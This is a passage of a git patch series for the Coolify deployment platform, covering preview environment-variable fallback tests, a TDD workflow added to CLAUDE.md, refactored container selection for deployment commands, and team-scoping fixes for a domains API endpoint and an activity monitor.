\ No newline at end of file
diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php
new file mode 100644
index 000000000..44ceeae7f
--- /dev/null
+++ b/resources/views/livewire/shared-variables/server/show.blade.php
@@ -0,0 +1,36 @@
+
+
+ Server Variable | Coolify
+
+
+
Shared Variables for {{ data_get($server, 'name') }}
No containers are running on server: {{ $server->name }}
@endif
-
- @empty
-
No functional server found for the application.
- @endforelse
-
- @endif
+ @else
+
Server {{ $server->name }} is not functional.
+ @endif
+
+ @empty
+
No functional server found for the application.
+ @endforelse
+
@elseif ($type === 'database')
Logs
diff --git a/tests/Feature/PreviewEnvVarFallbackTest.php b/tests/Feature/PreviewEnvVarFallbackTest.php
new file mode 100644
index 000000000..e3fc3023f
--- /dev/null
+++ b/tests/Feature/PreviewEnvVarFallbackTest.php
@@ -0,0 +1,247 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team);
+
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create([
+ 'project_id' => $this->project->id,
+ ]);
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $this->actingAs($this->user);
+});
+
+/**
+ * Simulate the preview .env generation logic from
+ * ApplicationDeploymentJob::generate_runtime_environment_variables()
+ * including the production fallback fix.
+ */
+function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
+{
+ $sorted_environment_variables = $application->environment_variables->sortBy('id');
+ $sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
+
+ $envs = collect([]);
+
+ // Preview vars
+ $runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
+ foreach ($runtime_environment_variables_preview as $env) {
+ $envs->push($env->key.'='.$env->real_value);
+ }
+
+ // Fallback: production vars not overridden by preview,
+ // only when preview vars are configured
+ if ($runtime_environment_variables_preview->isNotEmpty()) {
+ $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
+ $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
+ return $env->is_runtime && ! in_array($env->key, $previewKeys);
+ });
+ foreach ($fallback_production_vars as $env) {
+ $envs->push($env->key.'='.$env->real_value);
+ }
+ }
+
+ return $envs;
+}
+
+test('production vars fall back when preview vars exist but do not cover all keys', function () {
+ // Create two production vars (booted hook auto-creates preview copies)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_KEY',
+ 'value' => 'app_key_value',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
+ $this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
+ $this->application->refresh();
+
+ // Preview has APP_KEY but not DB_PASSWORD
+ expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
+ expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ // DB_PASSWORD should fall back from production
+ expect($envString)->toContain('DB_PASSWORD=');
+ // APP_KEY should use the preview value
+ expect($envString)->toContain('APP_KEY=');
+});
+
+test('no fallback when no preview vars are configured at all', function () {
+ // Create a production-only var (booted hook auto-creates preview copy)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete ALL preview copies — simulates no preview config
+ $this->application->environment_variables_preview()->delete();
+ $this->application->refresh();
+
+ expect($this->application->environment_variables_preview()->count())->toBe(0);
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ // Should NOT fall back to production when no preview vars exist
+ expect($envString)->not->toContain('DB_PASSWORD=');
+});
+
+test('preview var overrides production var when both exist', function () {
+ // Create production var (auto-creates preview copy)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'prod_password',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Update the auto-created preview copy with a different value
+ $this->application->environment_variables_preview()
+ ->where('key', 'DB_PASSWORD')
+ ->update(['value' => encrypt('preview_password')]);
+
+ $this->application->refresh();
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ // Should contain preview value only, not production
+ $envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
+ expect($envEntries)->toHaveCount(1);
+ expect($envEntries->first())->toContain('preview_password');
+});
+
+test('preview-only var works without production counterpart', function () {
+ // Create a preview-only var directly (no production counterpart)
+ EnvironmentVariable::create([
+ 'key' => 'PREVIEW_ONLY_VAR',
+ 'value' => 'preview_value',
+ 'is_preview' => true,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $this->application->refresh();
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ expect($envString)->toContain('PREVIEW_ONLY_VAR=');
+});
+
+test('buildtime-only production vars are not included in preview fallback', function () {
+ // Create a runtime preview var so fallback is active
+ EnvironmentVariable::create([
+ 'key' => 'SOME_PREVIEW_VAR',
+ 'value' => 'preview_value',
+ 'is_preview' => true,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Create a buildtime-only production var
+ EnvironmentVariable::create([
+ 'key' => 'BUILD_SECRET',
+ 'value' => 'build_only',
+ 'is_preview' => false,
+ 'is_runtime' => false,
+ 'is_buildtime' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete the auto-created preview copy of BUILD_SECRET
+ $this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
+ $this->application->refresh();
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ expect($envString)->not->toContain('BUILD_SECRET');
+ expect($envString)->toContain('SOME_PREVIEW_VAR=');
+});
+
+test('preview env var inherits is_runtime and is_buildtime from production var', function () {
+ // Create production var WITH explicit flags
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
+ ->where('is_preview', true)
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+
+ expect($preview)->not->toBeNull();
+ expect($preview->is_runtime)->toBeTrue();
+ expect($preview->is_buildtime)->toBeTrue();
+});
+
+test('preview env var gets correct defaults when production var created without explicit flags', function () {
+ // Simulate code paths (docker-compose parser, dev view bulk submit) that create
+ // env vars without explicitly setting is_runtime/is_buildtime
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
+ ->where('is_preview', true)
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+
+ expect($preview)->not->toBeNull();
+ expect($preview->is_runtime)->toBeTrue();
+ expect($preview->is_buildtime)->toBeTrue();
+});
From 69ea7dfa50f431fd205b2adb18b04d41c92443f2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 14:08:48 +0100
Subject: [PATCH 033/118] docs(tdd): add bug fix workflow section with TDD
requirements
Add a new "Bug Fix Workflow (TDD)" section that establishes the strict
test-driven development process for bug fixes. Clarify that every bug fix
must follow TDD: write a failing test, fix the bug, verify the test passes
without modification. Update the Key Conventions to reference this workflow.
---
CLAUDE.md | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/CLAUDE.md b/CLAUDE.md
index 8e398586b..5dc2f7eee 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -73,7 +73,7 @@ ## Key Conventions
- PHP 8.4: constructor property promotion, explicit return types, type hints
- Always create Form Request classes for validation
- Run `vendor/bin/pint --dirty --format agent` before finalizing changes
-- Every change must have tests — write or update tests, then run them
+- Every change must have tests — write or update tests, then run them. For bug fixes, follow TDD: write a failing test first, then fix the bug (see Test Enforcement below)
- Check sibling files for conventions before creating new files
## Git Workflow
@@ -231,6 +231,16 @@ # Test Enforcement
- Every change must be programmatically tested. Write a new test or update an existing test, then run the affected tests to make sure they pass.
- Run the minimum number of tests needed to ensure code quality and speed. Use `php artisan test --compact` with a specific filename or filter.
+## Bug Fix Workflow (TDD)
+
+When fixing a bug, follow this strict test-driven workflow:
+
+1. **Write a test first** that asserts the correct (expected) behavior — this test should reproduce the bug.
+2. **Run the test** and confirm it **fails**. If it passes, the test does not cover the bug — rewrite it.
+3. **Fix the bug** in the source code.
+4. **Re-run the exact same test without any modifications** and confirm it **passes**.
+5. **Never modify the test between steps 2 and 4.** The same test must go from red to green purely from the bug fix.
+
=== laravel/core rules ===
# Do Things the Laravel Way
From 811ee5d327da600614dc182cbe66d6bae266686b Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 14:09:07 +0100
Subject: [PATCH 034/118] refactor(jobs): extract container resolution logic
for deployment commands
Extract common container selection logic into resolveCommandContainer() method
that handles both single and multi-container app scenarios. This consolidates
duplicated code from run_pre_deployment_command() and run_post_deployment_command()
while improving error messaging and test coverage.
---
app/Jobs/ApplicationDeploymentJob.php | 153 ++++++++++++------
...ploymentCommandContainerResolutionTest.php | 116 +++++++++++++
2 files changed, 217 insertions(+), 52 deletions(-)
create mode 100644 tests/Feature/DeploymentCommandContainerResolutionTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 9d927d10c..c4121ba16 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -3989,6 +3989,51 @@ private function validateContainerName(string $value): string
return $value;
}
+ /**
+ * Resolve which container to execute a deployment command in.
+ *
+ * For single-container apps, returns the sole container.
+ * For multi-container apps, matches by the user-specified container name.
+ * If no container name is specified for multi-container apps, logs available containers and returns null.
+ */
+ private function resolveCommandContainer(Collection $containers, ?string $specifiedContainerName, string $commandType): ?array
+ {
+ if ($containers->count() === 0) {
+ return null;
+ }
+
+ if ($containers->count() === 1) {
+ return $containers->first();
+ }
+
+ // Multi-container: require a container name to be specified
+ if (empty($specifiedContainerName)) {
+ $available = $containers->map(fn ($c) => data_get($c, 'Names'))->implode(', ');
+ $this->application_deployment_queue->addLogEntry(
+ "{$commandType} command: Multiple containers found but no container name specified. Available: {$available}"
+ );
+
+ return null;
+ }
+
+ // Multi-container: match by specified name prefix
+ $prefix = $specifiedContainerName.'-'.$this->application->uuid;
+ foreach ($containers as $container) {
+ $containerName = data_get($container, 'Names');
+ if (str_starts_with($containerName, $prefix)) {
+ return $container;
+ }
+ }
+
+ // No match found — log available containers to help the user debug
+ $available = $containers->map(fn ($c) => data_get($c, 'Names'))->implode(', ');
+ $this->application_deployment_queue->addLogEntry(
+ "{$commandType} command: Container '{$specifiedContainerName}' not found. Available: {$available}"
+ );
+
+ return null;
+ }
+
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {
@@ -3996,36 +4041,36 @@ private function run_pre_deployment_command()
}
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
if ($containers->count() == 0) {
+ $this->application_deployment_queue->addLogEntry('Pre-deployment command: No running containers found. Skipping.');
+
return;
}
$this->application_deployment_queue->addLogEntry('Executing pre-deployment command (see debug log for output/errors).');
- foreach ($containers as $container) {
- $containerName = data_get($container, 'Names');
- if ($containerName) {
- $this->validateContainerName($containerName);
- }
- if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) {
- // Security: pre_deployment_command is intentionally treated as arbitrary shell input.
- // Users (team members with deployment access) need full shell flexibility to run commands
- // like "php artisan migrate", "npm run build", etc. inside their own application containers.
- // The trust boundary is at the application/team ownership level — only authenticated team
- // members can set these commands, and execution is scoped to the application's own container.
- // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
- // restrict the command itself. Container names are validated separately via validateContainerName().
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
- $exec = "docker exec {$containerName} {$cmd}";
- $this->execute_remote_command(
- [
- 'command' => $exec,
- 'hidden' => true,
- ],
- );
-
- return;
- }
+ $container = $this->resolveCommandContainer($containers, $this->application->pre_deployment_command_container, 'Pre-deployment');
+ if ($container === null) {
+ throw new DeploymentException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
}
- throw new DeploymentException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
+
+ $containerName = data_get($container, 'Names');
+ if ($containerName) {
+ $this->validateContainerName($containerName);
+ }
+ // Security: pre_deployment_command is intentionally treated as arbitrary shell input.
+ // Users (team members with deployment access) need full shell flexibility to run commands
+ // like "php artisan migrate", "npm run build", etc. inside their own application containers.
+ // The trust boundary is at the application/team ownership level — only authenticated team
+ // members can set these commands, and execution is scoped to the application's own container.
+ // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
+ // restrict the command itself. Container names are validated separately via validateContainerName().
+ $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
+ $exec = "docker exec {$containerName} {$cmd}";
+ $this->execute_remote_command(
+ [
+ 'command' => $exec,
+ 'hidden' => true,
+ ],
+ );
}
private function run_post_deployment_command()
@@ -4037,36 +4082,40 @@ private function run_post_deployment_command()
$this->application_deployment_queue->addLogEntry('Executing post-deployment command (see debug log for output).');
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
- foreach ($containers as $container) {
- $containerName = data_get($container, 'Names');
- if ($containerName) {
- $this->validateContainerName($containerName);
- }
- if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
- // Security: post_deployment_command is intentionally treated as arbitrary shell input.
- // See the equivalent comment in run_pre_deployment_command() for the full security rationale.
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
- $exec = "docker exec {$containerName} {$cmd}";
- try {
- $this->execute_remote_command(
- [
- 'command' => $exec,
- 'hidden' => true,
- 'save' => 'post-deployment-command-output',
- ],
- );
- } catch (Exception $e) {
- $post_deployment_command_output = $this->saved_outputs->get('post-deployment-command-output');
- if ($post_deployment_command_output) {
- $this->application_deployment_queue->addLogEntry('Post-deployment command failed.');
- $this->application_deployment_queue->addLogEntry($post_deployment_command_output, 'stderr');
- }
- }
+ if ($containers->count() == 0) {
+ $this->application_deployment_queue->addLogEntry('Post-deployment command: No running containers found. Skipping.');
- return;
+ return;
+ }
+
+ $container = $this->resolveCommandContainer($containers, $this->application->post_deployment_command_container, 'Post-deployment');
+ if ($container === null) {
+ throw new DeploymentException('Post-deployment command: Could not find a valid container. Is the container name correct?');
+ }
+
+ $containerName = data_get($container, 'Names');
+ if ($containerName) {
+ $this->validateContainerName($containerName);
+ }
+ // Security: post_deployment_command is intentionally treated as arbitrary shell input.
+ // See the equivalent comment in run_pre_deployment_command() for the full security rationale.
+ $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
+ $exec = "docker exec {$containerName} {$cmd}";
+ try {
+ $this->execute_remote_command(
+ [
+ 'command' => $exec,
+ 'hidden' => true,
+ 'save' => 'post-deployment-command-output',
+ ],
+ );
+ } catch (Exception $e) {
+ $post_deployment_command_output = $this->saved_outputs->get('post-deployment-command-output');
+ if ($post_deployment_command_output) {
+ $this->application_deployment_queue->addLogEntry('Post-deployment command failed.');
+ $this->application_deployment_queue->addLogEntry($post_deployment_command_output, 'stderr');
}
}
- throw new DeploymentException('Post-deployment command: Could not find a valid container. Is the container name correct?');
}
/**
diff --git a/tests/Feature/DeploymentCommandContainerResolutionTest.php b/tests/Feature/DeploymentCommandContainerResolutionTest.php
new file mode 100644
index 000000000..c8c9cf1fc
--- /dev/null
+++ b/tests/Feature/DeploymentCommandContainerResolutionTest.php
@@ -0,0 +1,116 @@
+newInstanceWithoutConstructor();
+
+ $app = Mockery::mock(Application::class)->makePartial();
+ $app->uuid = $uuid;
+
+ $queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+ $queue->shouldReceive('addLogEntry')->andReturnNull();
+
+ $appProp = $ref->getProperty('application');
+ $appProp->setAccessible(true);
+ $appProp->setValue($instance, $app);
+
+ $queueProp = $ref->getProperty('application_deployment_queue');
+ $queueProp->setAccessible(true);
+ $queueProp->setValue($instance, $queue);
+
+ return $instance;
+}
+
+function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
+{
+ $ref = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $ref->getMethod('resolveCommandContainer');
+ $method->setAccessible(true);
+
+ return $method->invoke($instance, $containers, $specifiedName, $type);
+}
+
+describe('resolveCommandContainer', function () {
+ test('returns null when no containers exist', function () {
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('returns the sole container when only one exists', function () {
+ $container = ['Names' => 'web-abc123', 'Labels' => ''];
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
+
+ expect($result)->toBe($container);
+ });
+
+ test('returns the sole container regardless of specified name when only one exists', function () {
+ $container = ['Names' => 'web-abc123', 'Labels' => ''];
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
+
+ expect($result)->toBe($container);
+ });
+
+ test('returns null when no container name specified for multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, null, 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('returns null when empty string container name for multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, '', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('matches correct container by specified name in multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
+
+ expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
+ });
+
+ test('returns null when specified container name does not match any container', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('matches container with PR suffix', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123-pr-42', 'Labels' => ''],
+ ['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
+
+ expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
+ });
+});
From a94517f452e225046e01c08385d6a7aedf085c7d Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:20:53 +0100
Subject: [PATCH 035/118] fix(api): validate server ownership in domains
endpoint and scope activity lookups
- Add team-scoped server validation to domains_by_server API endpoint
- Filter applications and services to only those on the requested server
- Scope ActivityMonitor activity lookups to the current team
- Fix query param disambiguation (query vs route param) in domains endpoint
- Fix undefined $ip variable in services domain collection
Co-Authored-By: Claude Opus 4.6
---
.../Controllers/Api/ServersController.php | 21 ++++--
app/Livewire/ActivityMonitor.php | 13 +++-
.../Feature/ActivityMonitorCrossTeamTest.php | 67 +++++++++++++++++++
tests/Feature/DomainsByServerApiTest.php | 49 +++++++++++++-
4 files changed, 140 insertions(+), 10 deletions(-)
create mode 100644 tests/Feature/ActivityMonitorCrossTeamTest.php
diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php
index da94521a8..2ef95ce8b 100644
--- a/app/Http/Controllers/Api/ServersController.php
+++ b/app/Http/Controllers/Api/ServersController.php
@@ -290,7 +290,11 @@ public function domains_by_server(Request $request)
if (is_null($teamId)) {
return invalidTokenResponse();
}
- $uuid = $request->get('uuid');
+ $server = ModelsServer::whereTeamId($teamId)->whereUuid($request->uuid)->first();
+ if (is_null($server)) {
+ return response()->json(['message' => 'Server not found.'], 404);
+ }
+ $uuid = $request->query('uuid');
if ($uuid) {
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first();
if (! $application) {
@@ -301,7 +305,9 @@ public function domains_by_server(Request $request)
}
$projects = Project::where('team_id', $teamId)->get();
$domains = collect();
- $applications = $projects->pluck('applications')->flatten();
+ $applications = $projects->pluck('applications')->flatten()->filter(function ($application) use ($server) {
+ return $application->destination?->server?->id === $server->id;
+ });
$settings = instanceSettings();
if ($applications->count() > 0) {
foreach ($applications as $application) {
@@ -341,7 +347,9 @@ public function domains_by_server(Request $request)
}
}
}
- $services = $projects->pluck('services')->flatten();
+ $services = $projects->pluck('services')->flatten()->filter(function ($service) use ($server) {
+ return $service->server_id === $server->id;
+ });
if ($services->count() > 0) {
foreach ($services as $service) {
$service_applications = $service->applications;
@@ -354,7 +362,8 @@ public function domains_by_server(Request $request)
})->filter(function (Stringable $fqdn) {
return $fqdn->isNotEmpty();
});
- if ($ip === 'host.docker.internal') {
+ $serviceIp = $server->ip;
+ if ($serviceIp === 'host.docker.internal') {
if ($settings->public_ipv4) {
$domains->push([
'domain' => $fqdn,
@@ -370,13 +379,13 @@ public function domains_by_server(Request $request)
if (! $settings->public_ipv4 && ! $settings->public_ipv6) {
$domains->push([
'domain' => $fqdn,
- 'ip' => $ip,
+ 'ip' => $serviceIp,
]);
}
} else {
$domains->push([
'domain' => $fqdn,
- 'ip' => $ip,
+ 'ip' => $serviceIp,
]);
}
}
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 370ff1eaa..85ba60c33 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -55,7 +55,18 @@ public function hydrateActivity()
return;
}
- $this->activity = Activity::find($this->activityId);
+ $activity = Activity::find($this->activityId);
+
+ if ($activity) {
+ $teamId = data_get($activity, 'properties.team_id');
+ if ($teamId && $teamId !== currentTeam()?->id) {
+ $this->activity = null;
+
+ return;
+ }
+ }
+
+ $this->activity = $activity;
}
public function updatedActivityId($value)
diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php
new file mode 100644
index 000000000..7e4aebc2f
--- /dev/null
+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php
@@ -0,0 +1,67 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->otherTeam = Team::factory()->create();
+});
+
+test('hydrateActivity blocks access to another teams activity', function () {
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->otherTeam->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $otherActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity allows access to own teams activity', function () {
+ $ownActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->team->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $ownActivity->id);
+
+ expect($component->get('activity'))->not->toBeNull();
+ expect($component->get('activity')->id)->toBe($ownActivity->id);
+});
+
+test('hydrateActivity allows access to activity without team_id in properties', function () {
+ $legacyActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'legacy activity',
+ 'properties' => [],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $legacyActivity->id);
+
+ expect($component->get('activity'))->not->toBeNull();
+ expect($component->get('activity')->id)->toBe($legacyActivity->id);
+});
diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php
index 1e799bec5..ea799275b 100644
--- a/tests/Feature/DomainsByServerApiTest.php
+++ b/tests/Feature/DomainsByServerApiTest.php
@@ -16,11 +16,12 @@
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
- $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ session(['currentTeam' => $this->team]);
+ $this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
- $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
@@ -53,7 +54,7 @@ function authHeaders(): array
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
- $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
+ $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
@@ -78,3 +79,45 @@ function authHeaders(): array
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
+
+test('returns 404 when server uuid belongs to another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherUser = User::factory()->create();
+ $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
+
+ $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$otherServer->uuid}/domains");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Server not found.']);
+});
+
+test('only returns domains for applications on the specified server', function () {
+ $application = Application::factory()->create([
+ 'fqdn' => 'https://app-on-server.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $otherServer = Server::factory()->create(['team_id' => $this->team->id]);
+ $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
+
+ $applicationOnOtherServer = Application::factory()->create([
+ 'fqdn' => 'https://app-on-other-server.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $otherDestination->id,
+ 'destination_type' => $otherDestination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains");
+
+ $response->assertOk();
+ $responseContent = $response->json();
+ $allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray();
+ expect($allDomains)->toContain('app-on-server.example.com');
+ expect($allDomains)->not->toContain('app-on-other-server.example.com');
+});
From 333cc9589ddc988eb5bdd28dad99e16b81d330c4 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:48:49 +0100
Subject: [PATCH 036/118] feat(deployment): add command_hidden flag to hide
command text in logs
Add support for hiding sensitive command text while preserving output logs.
When command_hidden is true, the command text is set to null in the main log
entry but logged separately to the deployment queue with proper redaction.
- Add command_hidden parameter to execute_remote_command and executeCommandWithProcess
- When enabled, separates command visibility from output visibility
- Fix operator precedence in type ternary expression
---
app/Jobs/ApplicationDeploymentJob.php | 12 ++++++------
app/Traits/ExecuteRemoteCommand.php | 15 ++++++++++-----
2 files changed, 16 insertions(+), 11 deletions(-)
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 2af380a45..b39ab4f68 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
